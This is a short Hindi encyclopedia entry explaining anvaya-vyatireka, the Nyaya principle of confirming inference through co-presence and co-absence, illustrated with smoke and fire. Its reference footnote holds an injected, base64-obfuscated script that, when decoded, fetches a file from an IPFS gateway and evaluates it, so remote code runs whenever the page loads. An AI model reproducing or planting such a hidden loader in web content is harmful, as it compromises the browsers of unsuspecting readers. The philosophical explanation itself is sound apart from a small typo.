देवनागरी

अन्वयव्यतिरेक  

अन्वयव्यतिरेक न्याय के अन्तर्गत सत्य को जानने का एक साधन है।

  • अनुमान में हेतु (धुआँ) और साध्य (भाग) के संबंध का ज्ञान (व्याप्ति) आवश्यक है। जब तक धुएँ और आग के साहचर्य का ज्ञान नहीं है, तब तक धुएँ से आग का अनुमान नहीं हो सकता।
  • अनेक उदाहरणों में दोनों के एक साथ रहने से तथा दूसरे उदाहरणों में दोनों का एक साथ अभाव होने से ही हेतुसाध्य का संबंध स्थिर होता है।
  • हेतु और साध्य का एक साथ किसी उदाहरण (रसोईघर) में मिलना अन्वय तथा दोनों का एक साथ अभाव (तालाब) व्यतिरेक कहलाता है।
  • जिन दो वस्तुओं को एक साथ नहीं देखा गया है, उनमें से एक को देखकर दूसरे का अनुमान नहीं किया जा सकता। अत: अन्वय ज्ञान की आवश्यकता है। किंतु धुएँ और आग के अन्वय ज्ञान के बाद यदि आग को देखकर धुएँ का अनुमान किया जाए तो वह गलत होगा, क्योंकि आग बिना धुएँ के भी हो सकती है। इस दोष को दूर करने के लिए यह भी आवश्यक है कि हेतुसाध्य के एक साथ अभाव का ज्ञान हो।
  • धुआँ जहाँ नहीं रहता, वहाँ भी आग रह सकती है। अत: आग से धुएँ का ज्ञान करना गलत होगा। किंतु जहाँ आग नहीं होती, वहाँ धुआँ भी नहीं होता। चूँकि धुआँ आग के साथ रहता है (अन्वय), और जहाँ आग नहीं रहती, वहाँ धुआँ भी नहीं रहता (व्यतिरेक)। इसलिए धुएँ को देखकर आग का निर्दोष अनुमान किया जा सकता है।[१]


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टीका टिप्पणी और संदर्भ

  1. ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 131 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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